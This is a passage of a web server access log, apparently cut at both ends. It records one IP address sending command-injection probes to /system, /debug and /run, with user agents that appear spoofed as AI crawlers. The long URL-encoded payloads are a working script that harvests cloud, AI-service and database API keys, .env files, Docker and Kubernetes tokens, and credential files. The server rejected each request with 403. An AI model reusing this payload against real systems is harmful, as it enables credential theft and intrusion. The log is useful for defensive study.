3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17525 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 11 **0/11501**
35.234.173.128 - - [03/Aug/2026:19:58:21 -0700] "GET /system?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10874 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ClaudeBot/1.0; +mailto:support@anthropic.com" 6 **0/6024**
35.234.173.128 - - [03/Aug/2026:19:58:22 -0700] "GET /debug?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10873 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 15 **0/15058**
35.234.173.128 - - [03/Aug/2026:19:58:22 -0700] "GET /run?cmd=%3B+echo+GSCAN_CMDI+%23 HTTP/2.0" 403 10871 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 5 **0/5951**
35.234.173.128 - - [03/Aug/2026:19:58:22 -0700] "POST / HTTP/2.0" 403 10840 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)" 5 **0/5824**
35.234.173.128 - - [03/Aug/2026:19:58:23 -0700] "GET /system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17526 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)" 13 **0/13569**
35.234.173.128 - - [03/Aug/2026:19:58:23 -0700] "GET /debug?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17525 "-" "TLM-Audit-Scanner/1.0" 11 **0/11363**
35.234.173.128 - - [03/Aug/2026:19:58:24 -0700] "GET /run?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KE